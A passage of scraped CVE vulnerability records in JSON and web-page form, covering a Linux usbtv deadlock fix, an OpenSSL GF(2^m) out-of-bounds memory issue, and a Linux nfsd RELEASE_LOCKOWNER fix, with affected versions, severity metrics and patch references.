              "version": "f3d27f34fdd7701e499617d2c1d94480a98f6d07",
              "versionType": "git"
            },
            {
              "lessThan": "bdd82c47b22a8befd617b723098b2a41b77373c7",
              "status": "affected",
              "version": "f3d27f34fdd7701e499617d2c1d94480a98f6d07",
              "versionType": "git"
            },
            {
              "lessThan": "dea46e246ef0f98d89d59a4229157cd9ffb636bf",
              "status": "affected",
              "version": "f3d27f34fdd7701e499617d2c1d94480a98f6d07",
              "versionType": "git"
            },
            {
              "lessThan": "3e7d82ebb86e94643bdb30b0b5b077ed27dce1c2",
              "status": "affected",
              "version": "f3d27f34fdd7701e499617d2c1d94480a98f6d07",
              "versionType": "git"
            },
            {
              "lessThan": "65e6a2773d655172143cc0b927cdc89549842895",
              "status": "affected",
              "version": "f3d27f34fdd7701e499617d2c1d94480a98f6d07",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/media/usb/usbtv/usbtv-video.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.11"
            },
            {
              "lessThan": "3.11",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.55",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "3.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "3.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "3.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.55",
                  "versionStartIncluding": "3.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "3.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.11",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: usbtv: Remove useless locks in usbtv_video_free()\n\nRemove locks calls in usbtv_video_free() because\nare useless and may led to a deadlock as reported here:\nhttps://syzkaller.appspot.com/x/bisect.txt?x=166dc872180000\nAlso remove usbtv_stop() call since it will be called when\nunregistering the device.\n\nBefore \u0027c838530d230b\u0027 this issue would only be noticed if you\ndisconnect while streaming and now it is noticeable even when\ndisconnecting while not streaming.\n\n\n[hverkuil: fix minor spelling mistake in log message]"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:09:50.763Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/4ec4641df57cbdfdc51bb4959afcdbcf5003ddb9"
        },
        {
          "url": "https://git.kernel.org/stable/c/d5ed208d04acf06781d63d30f9fa991e8d609ebd"
        },
        {
          "url": "https://git.kernel.org/stable/c/bdd82c47b22a8befd617b723098b2a41b77373c7"
        },
        {
          "url": "https://git.kernel.org/stable/c/dea46e246ef0f98d89d59a4229157cd9ffb636bf"
        },
        {
          "url": "https://git.kernel.org/stable/c/3e7d82ebb86e94643bdb30b0b5b077ed27dce1c2"
        },
        {
          "url": "https://git.kernel.org/stable/c/65e6a2773d655172143cc0b927cdc89549842895"
        }
      ],
      "title": "media: usbtv: Remove useless locks in usbtv_video_free()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27072",
    "datePublished": "2024-05-01T13:04:34.169Z",
    "dateReserved": "2024-02-19T14:20:24.216Z",
    "dateUpdated": "2026-05-12T11:51:28.272Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-9143 (GCVE-0-2024-9143)

Vulnerability from cvelistv5 – Published: 2024-10-16 17:09 – Updated: 2026-05-12 11:43

Title

Low-level invalid GF(2^m) parameters lead to OOB memory access

Summary

Issue summary: Use of the low-level GF(2^m) elliptic curve APIs with untrusted explicit values for the field polynomial can lead to out-of-bounds memory reads or writes. Impact summary: Out of bound memory writes can lead to an application crash or even a possibility of a remote code execution, however, in all the protocols involving Elliptic Curve Cryptography that we're aware of, either only "named curves" are supported, or, if explicit curve parameters are supported, they specify an X9.62 encoding of binary (GF(2^m)) curves that can't represent problematic input values. Thus the likelihood of existence of a vulnerable application is low. In particular, the X9.62 encoding is used for ECC keys in X.509 certificates, so problematic inputs cannot occur in the context of processing X.509 certificates. Any problematic use-cases would have to be using an "exotic" curve encoding. The affected APIs include: EC_GROUP_new_curve_GF2m(), EC_GROUP_new_from_params(), and various supporting BN_GF2m_*() functions. Applications working with "exotic" explicit binary (GF(2^m)) curve parameters, that make it possible to represent invalid field polynomials with a zero constant term, via the above or similar APIs, may terminate abruptly as a result of reading or writing outside of array bounds. Remote code execution cannot easily be ruled out. The FIPS modules in 3.3, 3.2, 3.1 and 3.0 are not affected by this issue.

Severity ?

No CVSS data available.

CWE

CWE-125 - Out-of-bounds Read
CWE-787 - Out-of-bounds Write

Assigner

openssl

References

7 references

URL	Tags
https://openssl-library.org/news/secadv/20241016.txt	vendor-advisory
https://github.com/openssl/openssl/commit/c0d3e4d…	patch
https://github.com/openssl/openssl/commit/bc7e04d…	patch
https://github.com/openssl/openssl/commit/fdf6723…	patch
https://github.com/openssl/openssl/commit/72ae83a…	patch
https://github.openssl.org/openssl/extended-relea…	patch
https://github.openssl.org/openssl/extended-relea…	patch

Impacted products

1 product

Vendor	Product	Version
OpenSSL	OpenSSL	Affected: 3.3.0 , < 3.3.3 (semver) Affected: 3.2.0 , < 3.2.4 (semver) Affected: 3.1.0 , < 3.1.8 (semver) Affected: 3.0.0 , < 3.0.16 (semver) Affected: 1.1.1 , < 1.1.1zb (custom) Affected: 1.0.2 , < 1.0.2zl (custom)

Date Public ?

2024-10-16 14:00

Credits

Google OSS-Fuzz-Gen Viktor Dukhovni

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "NONE",
              "baseScore": 4.3,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "LOW",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-9143",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-16T19:45:11.544020Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-08T15:30:04.030Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:33:18.178Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "http://www.openwall.com/lists/oss-security/2024/10/16/1"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2024/10/23/1"
          },
          {
            "url": "http://www.openwall.com/lists/oss-security/2024/10/24/1"
          },
          {
            "url": "https://security.netapp.com/advisory/ntap-20241101-0001/"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/11/msg00000.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00033.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIDIS Prime",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V4.0.700",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:43:47.107Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-769027.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-277137.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "OpenSSL",
          "vendor": "OpenSSL",
          "versions": [
            {
              "lessThan": "3.3.3",
              "status": "affected",
              "version": "3.3.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.2.4",
              "status": "affected",
              "version": "3.2.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.1.8",
              "status": "affected",
              "version": "3.1.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.0.16",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.1.1zb",
              "status": "affected",
              "version": "1.1.1",
              "versionType": "custom"
            },
            {
              "lessThan": "1.0.2zl",
              "status": "affected",
              "version": "1.0.2",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Google OSS-Fuzz-Gen"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "value": "Viktor Dukhovni"
        }
      ],
      "datePublic": "2024-10-16T14:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Issue summary: Use of the low-level GF(2^m) elliptic curve APIs with untrusted\u003cbr\u003eexplicit values for the field polynomial can lead to out-of-bounds memory reads\u003cbr\u003eor writes.\u003cbr\u003e\u003cbr\u003eImpact summary: Out of bound memory writes can lead to an application crash or\u003cbr\u003eeven a possibility of a remote code execution, however, in all the protocols\u003cbr\u003einvolving Elliptic Curve Cryptography that we\u0027re aware of, either only \"named\u003cbr\u003ecurves\" are supported, or, if explicit curve parameters are supported, they\u003cbr\u003especify an X9.62 encoding of binary (GF(2^m)) curves that can\u0027t represent\u003cbr\u003eproblematic input values. Thus the likelihood of existence of a vulnerable\u003cbr\u003eapplication is low.\u003cbr\u003e\u003cbr\u003eIn particular, the X9.62 encoding is used for ECC keys in X.509 certificates,\u003cbr\u003eso problematic inputs cannot occur in the context of processing X.509\u003cbr\u003ecertificates.  Any problematic use-cases would have to be using an \"exotic\"\u003cbr\u003ecurve encoding.\u003cbr\u003e\u003cbr\u003eThe affected APIs include: EC_GROUP_new_curve_GF2m(), EC_GROUP_new_from_params(),\u003cbr\u003eand various supporting BN_GF2m_*() functions.\u003cbr\u003e\u003cbr\u003eApplications working with \"exotic\" explicit binary (GF(2^m)) curve parameters,\u003cbr\u003ethat make it possible to represent invalid field polynomials with a zero\u003cbr\u003econstant term, via the above or similar APIs, may terminate abruptly as a\u003cbr\u003eresult of reading or writing outside of array bounds.  Remote code execution\u003cbr\u003ecannot easily be ruled out.\u003cbr\u003e\u003cbr\u003eThe FIPS modules in 3.3, 3.2, 3.1 and 3.0 are not affected by this issue."
            }
          ],
          "value": "Issue summary: Use of the low-level GF(2^m) elliptic curve APIs with untrusted\nexplicit values for the field polynomial can lead to out-of-bounds memory reads\nor writes.\n\nImpact summary: Out of bound memory writes can lead to an application crash or\neven a possibility of a remote code execution, however, in all the protocols\ninvolving Elliptic Curve Cryptography that we\u0027re aware of, either only \"named\ncurves\" are supported, or, if explicit curve parameters are supported, they\nspecify an X9.62 encoding of binary (GF(2^m)) curves that can\u0027t represent\nproblematic input values. Thus the likelihood of existence of a vulnerable\napplication is low.\n\nIn particular, the X9.62 encoding is used for ECC keys in X.509 certificates,\nso problematic inputs cannot occur in the context of processing X.509\ncertificates.  Any problematic use-cases would have to be using an \"exotic\"\ncurve encoding.\n\nThe affected APIs include: EC_GROUP_new_curve_GF2m(), EC_GROUP_new_from_params(),\nand various supporting BN_GF2m_*() functions.\n\nApplications working with \"exotic\" explicit binary (GF(2^m)) curve parameters,\nthat make it possible to represent invalid field polynomials with a zero\nconstant term, via the above or similar APIs, may terminate abruptly as a\nresult of reading or writing outside of array bounds.  Remote code execution\ncannot easily be ruled out.\n\nThe FIPS modules in 3.3, 3.2, 3.1 and 3.0 are not affected by this issue."
        }
      ],
      "metrics": [
        {
          "format": "other",
          "other": {
            "content": {
              "text": "Low"
            },
            "type": "https://openssl-library.org/policies/general/security-policy/"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-125",
              "description": "CWE-125 Out-of-bounds Read",
              "lang": "en",
              "type": "CWE"
            },
            {
              "cweId": "CWE-787",
              "description": "CWE-787 Out-of-bounds Write",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-09-01T08:29:10.392Z",
        "orgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
        "shortName": "openssl"
      },
      "references": [
        {
          "name": "OpenSSL Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://openssl-library.org/news/secadv/20241016.txt"
        },
        {
          "name": "3.3.3 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/c0d3e4d32d2805f49bec30547f225bc4d092e1f4"
        },
        {
          "name": "3.2.4 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/bc7e04d7c8d509fb78fc0e285aa948fb0da04700"
        },
        {
          "name": "3.1.8 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/fdf6723362ca51bd883295efe206cb5b1cfa5154"
        },
        {
          "name": "3.0.16 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/72ae83ad214d2eef262461365a1975707f862712"
        },
        {
          "name": "1.1.1zb git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.openssl.org/openssl/extended-releases/commit/8efc0cbaa8ebba8e116f7b81a876a4123594d86a"
        },
        {
          "name": "1.0.2zl git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.openssl.org/openssl/extended-releases/commit/9d576994cec2b7aa37a91740ea7e680810957e41"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Low-level invalid GF(2^m) parameters lead to OOB memory access",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
    "assignerShortName": "openssl",
    "cveId": "CVE-2024-9143",
    "datePublished": "2024-10-16T17:09:23.844Z",
    "dateReserved": "2024-09-24T08:37:04.834Z",
    "dateUpdated": "2026-05-12T11:43:47.107Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26629 (GCVE-0-2024-26629)

Vulnerability from cvelistv5 – Published: 2024-03-13 14:01 – Updated: 2026-05-12 11:49

Title

nfsd: fix RELEASE_LOCKOWNER

Summary

In the Linux kernel, the following vulnerability has been resolved: nfsd: fix RELEASE_LOCKOWNER The test on so_count in nfsd4_release_lockowner() is nonsense and harmful. Revert to using check_for_locks(), changing that to not sleep. First: harmful. As is documented in the kdoc comment for nfsd4_release_lockowner(), the test on so_count can transiently return a false positive resulting in a return of NFS4ERR_LOCKS_HELD when in fact no locks are held. This is clearly a protocol violation and with the Linux NFS client it can cause incorrect behaviour. If RELEASE_LOCKOWNER is sent while some other thread is still processing a LOCK request which failed because, at the time that request was received, the given owner held a conflicting lock, then the nfsd thread processing that LOCK request can hold a reference (conflock) to the lock owner that causes nfsd4_release_lockowner() to return an incorrect error. The Linux NFS client ignores that NFS4ERR_LOCKS_HELD error because it never sends NFS4_RELEASE_LOCKOWNER without first releasing any locks, so it knows that the error is impossible. It assumes the lock owner was in fact released so it feels free to use the same lock owner identifier in some later locking request. When it does reuse a lock owner identifier for which a previous RELEASE failed, it will naturally use a lock_seqid of zero. However the server, which didn't release the lock owner, will expect a larger lock_seqid and so will respond with NFS4ERR_BAD_SEQID. So clearly it is harmful to allow a false positive, which testing so_count allows. The test is nonsense because ... well... it doesn't mean anything. so_count is the sum of three different counts. 1/ the set of states listed on so_stateids 2/ the set of active vfs locks owned by any of those states 3/ various transient counts such as for conflicting locks. When it is tested against '2' it is clear that one of these is the transient reference obtained by find_lockowner_str_locked(). It is not clear what the other one is expected to be. In practice, the count is often 2 because there is precisely one state on so_stateids. If there were more, this would fail. In my testing I see two circumstances when RELEASE_LOCKOWNER is called. In one case, CLOSE is called before RELEASE_LOCKOWNER. That results in all the lock states being removed, and so the lockowner being discarded (it is removed when there are no more references which usually happens when the lock state is discarded). When nfsd4_release_lockowner() finds that the lock owner doesn't exist, it returns success. The other case shows an so_count of '2' and precisely one state listed in so_stateid. It appears that the Linux client uses a separate lock owner for each file resulting in one lock state per lock owner, so this test on '2' is safe. For another client it might not be safe. So this patch changes check_for_locks() to use the (newish) find_any_file_locked() so that it doesn't take a reference on the nfs4_file and so never calls nfsd_file_put(), and so never sleeps. With this check is it safe to restore the use of check_for_locks() rather than testing so_count against the mysterious '2'.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/10d75984495f7fe62…
https://git.kernel.org/stable/c/99fb654d01dc3f08b…
https://git.kernel.org/stable/c/c6f8b3fcc62725e41…
https://git.kernel.org/stable/c/e4cf8941664cae2f8…
https://git.kernel.org/stable/c/b7d2eee1f53899b53…
https://git.kernel.org/stable/c/8f5b860de87039b00…
https://git.kernel.org/stable/c/edcf9725150e42bee…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: ef481b262bba4f454351eec43f024fec942c2d4c , < 10d75984495f7fe62152c3b0dbfa3f0a6b739c9b (git) Affected: 3097f38e91266c7132c3fdb7e778fac858c00670 , < 99fb654d01dc3f08b5905c663ad6c89a9d83302f (git) Affected: e2fc17fcc503cfca57b5d1dd3b646ca7eebead97 , < c6f8b3fcc62725e4129f2c0fd550d022d4a7685a (git) Affected: ce3c4ad7f4ce5db7b4f08a1e237d8dd94b39180b , < e4cf8941664cae2f89f0189c29fe2ce8c6be0d03 (git) Affected: ce3c4ad7f4ce5db7b4f08a1e237d8dd94b39180b , < b7d2eee1f53899b53f069bba3a59a419fc3d331b (git) Affected: ce3c4ad7f4ce5db7b4f08a1e237d8dd94b39180b , < 8f5b860de87039b007e84a28a5eefc888154e098 (git) Affected: ce3c4ad7f4ce5db7b4f08a1e237d8dd94b39180b , < edcf9725150e42beeca42d085149f4c88fa97afd (git) Affected: fea1d0940301378206955264a01778700fc9c16f (git) Affected: 2ec65dc6635d1976bd1dbf2640ff7f810b2f6dd1 (git) Affected: a2235bc65ade40982c3d09025cdd34bc539d6a69 (git) Affected: ba747abfca27e23c42ded3912c87b70d7e16b6ab (git) Affected: e8020d96dd5b2dcc1f6a8ee4f87a53a373002cd5 (git)
Linux	Linux	Affected: 5.19 Unaffected: 0 , < 5.19 (semver) Unaffected: 4.19.306 , ≤ 4.19.* (semver) Unaffected: 5.10.220 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.79 , ≤ 6.1.* (semver) Unaffected: 6.6.15 , ≤ 6.6.* (semver) Unaffected: 6.7.3 , ≤ 6.7.* (semver) Unaffected: 6.8 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-26629",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-21T16:10:40.555857Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-21T16:10:48.664Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:07:19.714Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/99fb654d01dc3f08b5905c663ad6c89a9d83302f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c6f8b3fcc62725e4129f2c0fd550d022d4a7685a"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/e4cf8941664cae2f89f0189c29fe2ce8c6be0d03"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b7d2eee1f53899b53f069bba3a59a419fc3d331b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/8f5b860de87039b007e84a28a5eefc888154e098"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/edcf9725150e42beeca42d085149f4c88fa97afd"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:49:20.693Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/nfs4state.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "10d75984495f7fe62152c3b0dbfa3f0a6b739c9b",
              "status": "affected",
              "version": "ef481b262bba4f454351eec43f024fec942c2d4c",
              "versionType": "git"
            },
            {
              "lessThan": "99fb654d01dc3f08b5905c663ad6c89a9d83302f",
              "status": "affected",
              "version": "3097f38e91266c7132c3fdb7e778fac858c00670",
              "versionType": "git"
            },
            {
              "lessThan": "c6f8b3fcc62725e4129f2c0fd550d022d4a7685a",
              "status": "affected",
              "version": "e2fc17fcc503cfca57b5d1dd3b646ca7eebead97",
              "versionType": "git"
            },
            {
              "lessThan": "e4cf8941664cae2f89f0189c29fe2ce8c6be0d03",
              "status": "affected",
              "version": "ce3c4ad7f4ce5db7b4f08a1e237d8dd94b39180b",
              "versionType": "git"
            },
            {
              "lessThan": "b7d2eee1f53899b53f069bba3a59a419fc3d331b",
              "status": "affected",
              "version": "ce3c4ad7f4ce5db7b4f08a1e237d8dd94b39180b",
              "versionType": "git"
            },
            {
              "lessThan": "8f5b860de87039b007e84a28a5eefc888154e098",
              "status": "affected",
              "version": "ce3c4ad7f4ce5db7b4f08a1e237d8dd94b39180b",
              "versionType": "git"
            },
            {
              "lessThan": "edcf9725150e42beeca42d085149f4c88fa97afd",
              "status": "affected",
              "version": "ce3c4ad7f4ce5db7b4f08a1e237d8dd94b39180b",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "fea1d0940301378206955264a01778700fc9c16f",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "2ec65dc6635d1976bd1dbf2640ff7f810b2f6dd1",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "a2235bc65ade40982c3d09025cdd34bc539d6a69",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "ba747abfca27e23c42ded3912c87b70d7e16b6ab",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "e8020d96dd5b2dcc1f6a8ee4f87a53a373002cd5",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/nfsd/nfs4state.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.19"
            },
            {
              "lessThan": "5.19",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.306",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.220",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.79",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.15",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.8",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.306",
                  "versionStartIncluding": "4.19.246",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.220",
                  "versionStartIncluding": "5.10.120",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "5.15.45",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.79",
                  "versionStartIncluding": "5.19",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.15",
                  "versionStartIncluding": "5.19",
